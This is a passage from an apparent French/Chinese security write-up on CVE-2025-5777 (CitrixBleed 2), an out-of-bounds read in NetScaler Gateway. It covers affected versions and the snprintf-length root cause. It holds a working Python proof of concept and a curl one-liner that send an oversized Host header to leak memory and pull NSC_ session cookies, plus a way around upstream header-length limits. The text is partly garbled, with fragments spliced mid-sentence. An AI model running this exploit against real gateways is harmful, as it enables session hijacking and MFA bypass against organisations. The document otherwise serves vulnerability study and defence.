Analyse détaillée du PoC et du kit de détection CitrixBleed 2 — CVE-2025-5777 (fuite hors limites)
Une lecture mémoire hors limites dans NetScaler ADC / Gateway — Un manuel complet de la cause aux exercices d'attaque et de défense
0x00 引言 / 速览
0x01 背景:NetScaler 架构与 CitrixBleed 1 回顾
0x02 漏洞描述(影响版本、CVSS、利用后果)
0x03 触发机理深剖(源码级分析 & 调试截图)
0x04 最小 PoC + 高级扫描脚本
0x05 红队视角:完整攻击链(发现 → 泄露 → 会话劫持 → 内网横向)
0x06 蓝队视角:检测、取证与补丁验证
0x07 防御加固:补丁、WAF、配置、资产治理
0x08 学习 / 复习路线图与实战实验
附录 A Sigma / Suricata / Nginx-Lua 规则
附录 B 补丁/利用时间轴 & IoC 快照
参考资料
Host anormalement long pour que l'appareil « projette » des blocs de mémoire aléatoires avec la réponse HTTP vers le client.NSC_USER / NSC_TASS, le StateContext SAML, les jetons MFA, etc., qui peuvent être directement réutilisés pour prendre le contrôle des sessions et contourner la MFA ([arcticwolf.com][1], [tenable.com][2]).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 认证
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ 正向到应用
│ CVPN / RDP │
└──────────────┘
NetScaler adopte une architecture multi-processus + IPC interne. WebProc traite la plupart des requêtes HTTP sous les chemins AAA / Gateway, notamment /nf/auth/*, /oauth/*, etc. Il utilise massivement snprintf() / memcpy() en langage C pour assembler des fragments XML/HTML.
/oauth/idp/.well-known/openid-configuration.snprintf comme paramètre len pour le send() suivant → affichage mémoire hors limites.Leçon apprise : si un correctif de sécurité ne cible que le « point d'impact » plutôt que le « paradigme de programmation », il laisse la place à une « réplication par modèle ».
| Champ | Contenu |
|---|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Type de vulnérabilité | Lecture hors limites / Fuite d'informations |
| CVSS v4 Base | 9.3 (Crit.) ([netscaler.com][3]) |
| Versions affectées | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3]) |
| Condition d'exploitation | NetScaler configuré en tant que Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) ou serveur virtuel AAA ([arcticwolf.com][1]) |
| Conséquences de l'exploitation | Fuite mémoire → jeton de session → contournement d'authentification / contournement MFA → mouvement latéral |
Cette section est basée sur une rétro-ingénierie du firmware 13.1-55.18 + débogage avec gdb, compilée à partir de blogs publics ([bishopfox.com][5]).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length peut être > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Point de bug :
snprintfrenvoie la « longueur qui aurait dû être écrite » et non la longueur réellement écrite ; si leHostfourni par l'utilisateur est > 0x1800 - longueur de la partie constante, alorslength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- limite 0x1800 octets
↑
envoyé en totalité par ns_vpn_send_response
Affichage des points d'arrêt GDB (registres clés) :
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
Le résultat de read() montre que les 1 600 derniers octets proviennent de mémoire non initialisée, où l'on peut voir des tampons de cookies d'autres sessions SSL.
| Catégorie | Extrait exemple (désensibilisé) |
|---|---|
| Cookie de session | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| Jeton MFA/OTP | radius_state=0e2a9c6d1553... |
| Autres corps de requête | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin des mots-clés comme Cookie=, <AuthenticateContext>, etc.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Bypass : certains équipements limitent la longueur de l'en-tête
Hostvia un F5 / Nginx en amont. On peut contourner en utilisant une concaténation de sous-domaines, par exemplefoo.foo.foo.…foo.example.com(répéterfoo3000 fois).